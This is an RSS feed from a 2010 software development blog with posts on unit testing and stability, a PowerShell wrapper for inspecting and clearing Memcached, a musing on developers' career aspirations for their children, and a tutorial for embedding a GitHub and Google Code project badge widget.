<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Adam.Kahtava.com / AdamDotCom</title>
	
	<link>http://adam.kahtava.com/journal</link>
	<description>A software development blog</description>
	<pubDate>Fri, 12 Mar 2010 03:41:25 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Adam-Kahtava/AdamDotCom" /><feedburner:info uri="adam-kahtava/adamdotcom" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>51.044286</geo:lat><geo:long>-114.063157</geo:long><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/Adam-Kahtava/AdamDotCom" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsalloy.com/?rss=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.newsalloy.com/subrss3.gif">Subscribe with NewsAlloy</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><feedburner:feedFlare href="http://hub.netomat.net/account/account.autoSubscribe.jspa?urls=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.netomat.net/blogger/images/icon_netomat_feedbutton.gif">Subscribe with netomat Hub</feedburner:feedFlare><feedburner:feedFlare href="http://www.yourminis.com/subscribe.aspx?u=http%3A%2F%2Ffeeds.feedburner.com%2FAdam-Kahtava%2FAdamDotCom" src="http://www.yourminis.com/images/addtoyourminisbadge.gif">Subscribe with Yourminis.com</feedburner:feedFlare><item>
		<title>More Reasons For Testing: Prevent The Morning-After Syndrome</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/MyVNAUKLkic/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/11/more-reasons-for-testing-prevent-the-morning-after-syndrome/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:00:22 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Book]]></category>

		<category><![CDATA[Quality Assurance]]></category>

		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2418</guid>
		<description><![CDATA[Testing (Test Driven Design, Unit Testing, Mocking) is pretty much a part of developer popular culture - most developers understand that by writing the tests first we&#8217;re forced to focus on the important details as we build software, that by writing tests we prove that our software works as we build it, and that by [...]]]></description>
			<content:encoded><![CDATA[<p>Testing (<a href="http://en.wikipedia.org/wiki/Test-driven_development">Test Driven Design</a>, <a href="http://en.wikipedia.org/wiki/Unit_testing">Unit Testing</a>, <a href="http://en.wikipedia.org/wiki/Mock_object">Mocking</a>) is pretty much a part of developer popular culture - most developers understand that by writing the tests first we&#8217;re forced to focus on the important details as we build software, that by writing tests we prove that our software works as we build it, and that by running our test suite against our changes we gain assurance that our code still works, but did you know that testing is also a cure for the <em>&#8216;morning-after syndrome&#8217;</em>?</p>
<p>The <em>&#8216;morning-after syndrome&#8217;</em> as described by Uncle Bob (Robert C. Martin):</p>
<blockquote><p>Have you ever worked all day, gotten some stuff working, and then gone home, only to arrive the next morning to find that your stuff no longer works? Why doesn&#8217;t it work? Because somebody stayed later than you and changed something you depended on! I call this &#8216;the morning-after syndrome&#8217;. - Robert C. Martin, <a href="http://www.amazon.com/Agile-Principles-Patterns-Practices-C/dp/0131857258">Agile Principles, Patterns, and Practices in C#</a>
</p></blockquote>
<p>Bob makes the point that by writing tests we make our code more stable and brittle to change, which prevents our coworkers from making casual breaking changes. Sure-sure, brittle tests are frustrating when refactoring, but at the same time these brittle tests accentuate the importance that the code under test should not be modified. Core components that your system depends on should be stable and brittle.</p>
<p>Bob continues:</p>
<blockquote><p>Many factors make a software component difficult to change: its size, complexity, clarity, and so on. But we are going to ignore all those factors and focus on something different. One sure way to make a software component difficult to change is to make lots of other software components [like tests] depend on it. A component with lots of incoming dependencies is very stable, because it requires a great deal of work to reconcile any changes with all the dependent components. - Robert C. Martin, <a href="http://www.amazon.com/Agile-Principles-Patterns-Practices-C/dp/0131857258">Agile Principles, Patterns, and Practices in C#</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=MyVNAUKLkic:KhM6Rtfw2SI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=MyVNAUKLkic:KhM6Rtfw2SI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=MyVNAUKLkic:KhM6Rtfw2SI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/MyVNAUKLkic" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/11/more-reasons-for-testing-prevent-the-morning-after-syndrome/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/11/more-reasons-for-testing-prevent-the-morning-after-syndrome/</feedburner:origLink></item>
		<item>
		<title>Memcached On PowerShell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/1P8FJiwhkZY/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/09/memcached-on-powershell/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 17:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[PowerShell]]></category>

		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2383</guid>
		<description><![CDATA[Memcached has been around for a while, but it's still pretty neat. 
Experiencing a bottleneck with your Object Relational Mappers, Services, Middleware, Database, or whatever? Then Memcached it!
Memcached was intially developed for LiveJournal by Danga Interactive in 2003, and is used by many large sites (YouTube, Amazon, Twitter, to name a few). Today, you can [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://memcached.org/">Memcached</a> has been around for a while, but it's still pretty neat. </p>
<p><em>Experiencing a bottleneck with your Object Relational Mappers, Services, Middleware, Database, or whatever? Then Memcached it!</em></p>
<p>Memcached was intially developed for LiveJournal by Danga Interactive in 2003, and is used by many large sites (YouTube, Amazon, Twitter, to name a few). Today, you can find a Memcached library for all your favourite languages (<a href="http://code.google.com/p/memcached/wiki/Clients">here's the list</a>).</p>
<p>Now; cache testing is tough period, and testing Memcached (which is accessed through a <a href="http://lzone.de/articles/memcached.htm">telnet</a> client) is even more difficult - it's fair to mention that there are a large number of wrappers for Memcached outside the .NET world, but I couldn't find one for that met my needs. </p>
<p>So... I wrote my own. :)</p>
<h3>Introducing Memcached on Powershell</h3>
<p><strong>Sample usage and output</strong></p>
<p>Loading the script (source can be found <a href="http://github.com/AdamDotCom/memcached-on-powershell/raw/master/memcached-on-powershell.ps1">here</a>)</p>
<div class="syntax_hilite">
<div id="code-6">
<div class="code">PS C:\&gt; .\memcached-on-powershell.<span style="">ps1</span></div>
</div>
</div>
<p></p>
<p>Checking Memcached stats on an empty instance</p>
<div class="syntax_hilite">
<div id="code-7">
<div class="code">PS C:\&gt; memcached-stats <span style="color:#800000;">127</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">1</span> <span style="color:#800000;">11211</span><br />
Total items in cache:&nbsp; <span style="color:#800000;">0</span><br />
No slabs found</div>
</div>
</div>
<p></p>
<p>Checking Memcached stats after items have been added to the cache</p>
<div class="syntax_hilite">
<div id="code-8">
<div class="code">PS C:\&gt; memcached-stats <span style="color:#800000;">127</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">1</span> <span style="color:#800000;">11211</span><br />
Total items in cache:&nbsp; <span style="color:#800000;">3</span><br />
Stats for Slab:&nbsp; <span style="color:#800000;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: <span style="color:#CC0000;">'resume-service:resume:adam-kahtava'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: <span style="color:#CC0000;">'open-source-service:github:adamdotcom'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: <span style="color:#CC0000;">'open-source-service:googlecode:adam.kahtava.com'</span></div>
</div>
</div>
<p></p>
<p>Clearing all Memcached items</p>
<div class="syntax_hilite">
<div id="code-9">
<div class="code">PS C:\&gt; clear-memcached-items <span style="color:#800000;">127</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">1</span> <span style="color:#800000;">11211</span><br />
Total items in cache:&nbsp; <span style="color:#800000;">0</span></div>
</div>
</div>
<p></p>
<p>Checking Memcached stats on a cleared instance</p>
<div class="syntax_hilite">
<div id="code-10">
<div class="code">PS C:\&gt; memcached-stats <span style="color:#800000;">127</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">0</span>.<span style="color:#800000;">1</span> <span style="color:#800000;">11211</span><br />
Total items in cache:&nbsp; <span style="color:#800000;">0</span><br />
Stats for Slab:&nbsp; <span style="color:#800000;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Empty</div>
</div>
</div>
<p></p>
<p>If your test obsessed then you might be interested in the Memcached <a href="http://github.com/memcached/memcached/tree/master/t/">tests</a>.</p>
<p>As always feel free to contribute, view, or download the source <a href="http://github.com/AdamDotCom/memcached-on-powershell">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=1P8FJiwhkZY:NsZg74q2qJc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=1P8FJiwhkZY:NsZg74q2qJc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=1P8FJiwhkZY:NsZg74q2qJc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/1P8FJiwhkZY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/09/memcached-on-powershell/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/09/memcached-on-powershell/</feedburner:origLink></item>
		<item>
		<title>Developers, Don’t Let Your Babies Grow Up To Be Programmers</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/_1xsnnrPDJE/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/02/developers-dont-let-your-babies-grow-up-to-be-programmers/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 17:00:23 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2364</guid>
		<description><![CDATA[
Experts continue to warn of a looming shortage of North American scientists, engineers, developers, and IT workers in general. Efforts like the K-12 CS Model Curriculum attempt to introduce computer science concepts to children as they progress through grade / high school in hopes that they'll fill this void, but there's another issue in play. [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/_mm_/153887567/"><img src="http://farm1.static.flickr.com/46/153887567_39dfbd6b4d_m.jpg" alt="" /></a></div>
<p>Experts continue to warn of a looming shortage of North American scientists, engineers, developers, and IT workers in general. Efforts like the <a href="http://www.csta.acm.org/Curriculum/sub/ACMK12CSModel.html">K-12 CS Model Curriculum</a> attempt to introduce computer science concepts to children as they progress through grade / high school in hopes that they'll fill this void, but there's another issue in play. Developers don't let their children grow up to be programmers.</p>
<p>My hunch is that, most engineers, developer, or related IT professional would rather see their children succeed them - becoming doctors and lawyers and such, not an IT professional.</p>
<p>Malcom Gladwell (in <a href="http://www.amazon.com/Outliers-Story-Success-Malcolm-Gladwell/dp/0316017922/">Outliers</a>) presents an interesting account of career progressions within family trees:</p>
<blockquote><p>In 1982, a sociology graduate student named Louise Farkas went to visit a number of nursing homes and residential hotels [she was looking for] the children of people [who had immigrated] at the turn of the last century. And for each of the people she interviewed, she constructed a family tree showing what a line of parents and children and grandchildren and, in some cases, great-grandchildren did for a living.</p>
<p>Here is her account of "subject #18":</p>
<p><strong>A Russian tailor artisan comes to America, takes to the needle trade, works in a sweat shop for a small salary.</strong> Later takes garments to finish at home with the help of his wife and older children. In order to increase his salary he works through the night. Later he makes a garment and sells it on New York streets. He accumulates some capital and goes into a business venture with his sons. They open a shop to create men's garments. The Russian tailor and his sons become men's suit manufacturers supplying several men's stores The sons and the father become prosperous. <strong>The sons' children become educated professionals.</strong></p>
<p>Farkas's ... family trees go on for pages, each virtually identical to the one before</p></blockquote>
<p>From my observations, many developers / IT workers are first generation middle class, first generation post secondary educated, immigrants, or all of the above (myself included). Being a developer or IT professional is a small step up the ladder in helping our successors succeed. </p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=_1xsnnrPDJE:zpwCVIKZPPo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=_1xsnnrPDJE:zpwCVIKZPPo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=_1xsnnrPDJE:zpwCVIKZPPo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/_1xsnnrPDJE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/02/developers-dont-let-your-babies-grow-up-to-be-programmers/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/02/developers-dont-let-your-babies-grow-up-to-be-programmers/</feedburner:origLink></item>
		<item>
		<title>The Project Badge: Show The World Your GitHub and Google Code Projects On Your Blog</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/gfFIn0E70jM/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 17:00:10 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[ADC Services]]></category>

		<category><![CDATA[ADC Website]]></category>

		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[Services]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2298</guid>
		<description><![CDATA[ 
The Project Badge displays your GitHub and Google Code projects in a badge that can be displayed on your site. This widget was built on the data being returned from my Open Source Service. 
View this post outside your RSS reader to see it in action or view it here.
The source for the Project [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://adam.kahtava.com/etcetera/open-source-project-badge/" style="border-width: 0px; width: 320px; height: 370px; margin-left: 15px; float: left;"> </iframe></p>
<p>The Project Badge displays your GitHub and Google Code projects in a badge that can be displayed on your site. This widget was built on the data being returned from my <a href="http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/">Open Source Service</a>. </p>
<p><em>View this post outside your RSS reader to see it in action or view it <a href="http://adam.kahtava.com/etcetera/open-source-project-badge/">here</a>.</em></p>
<p>The source for the Project Badge can be found <a href="http://github.com/AdamDotCom/project-badge/">here</a> and the source for the accompanying service can be found <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.OpenSource.Service/Source/Service">here</a>. A list of all my publicly available web services can be found <a href="http://adam.kahtava.com/publicly-available-web-services/">here</a>.</p>
<div style="clear:both;"></div>
<h3>Using The Project Badge On Your Website or Blog</h3>
<p><strong>1. Add The Asset References</strong></p>
<p>Add the following asset references, and a reference to jQuery (if you don't have one already).</p>
<div class="syntax_hilite">
<div id="html-14">
<div class="html"><span style="color: #009900;"><a href="http://december.com/html/4/element/link.html"><span style="color: #000000; font-weight: bold;">&lt;link</span></a> <span style="color: #000066;">rel</span>=<span style="color: #ff0000;">"stylesheet"</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/css"</span> <span style="color: #000066;">href</span>=<span style="color: #ff0000;">"http://github.com/AdamDotCom/project-badge/raw/master/project-badge.css"</span> /<span style="color: #000000; font-weight: bold;">&gt;</span></a></span><br />
<span style="color: #009900;"><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">&lt;script</span></a> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"http://github.com/AdamDotCom/project-badge/raw/master/projectBadge.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span></div>
</div>
</div>
<p></p>
<p><strong>2. Configure Your Accounts</strong></p>
<p>Set your project accounts (it's OK if you only use one host) then optionally set the appropriate filters - in my case <a href="http://code.google.com/u/adam.kahtava.com/">my Google Code projects</a> were prefixed with <em>adamdotcom</em> and I had duplicate projects on both GitHub and Google Code. By specifying <em>remove:adamdotcom,remove:duplicate-items</em> in my filters I filter out the duplicates and removed <em>adamdotcom</em> from the project name.</p>
<div class="syntax_hilite">
<div id="javascript-15">
<div class="javascript">&lt;script type=<span style="color: #3366CC;">"text/javascript"</span>&gt;<br />
&nbsp; projectBadge.<span style="color: #006600;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; gitHub: <span style="color: #3366CC;">'AdamDotCom'</span>, <br />
&nbsp; &nbsp; &nbsp; googleCode: <span style="color: #3366CC;">'adam.kahtava.com'</span><br />
&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span>,<span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; filters: <span style="color: #3366CC;">'remove:adamdotcom,remove:duplicate-items,remove:-'</span><br />
&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span>;<br />
&lt;/script&gt;</div>
</div>
</div>
<p></p>
<p><strong>3. Add The Widget Hook</strong><br />
Add an element to your site or blog with the id of <code>project-badge</code>.</p>
<div class="syntax_hilite">
<div id="html-16">
<div class="html"><span style="color: #009900;"><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">&lt;div</span></a> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">"project-badge"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span><br />
&nbsp; Loading...<br />
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/div&gt;</span></span></div>
</div>
</div>
<p></p>
<p><strong>That's it!</strong><br />
If you have any issues, use the <a href="http://adam.kahtava.com/etcetera/open-source-project-badge/">the working example</a> as a reference, or send me a message.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=gfFIn0E70jM:YFjCA0pwZn8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=gfFIn0E70jM:YFjCA0pwZn8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=gfFIn0E70jM:YFjCA0pwZn8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/gfFIn0E70jM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/</feedburner:origLink></item>
		<item>
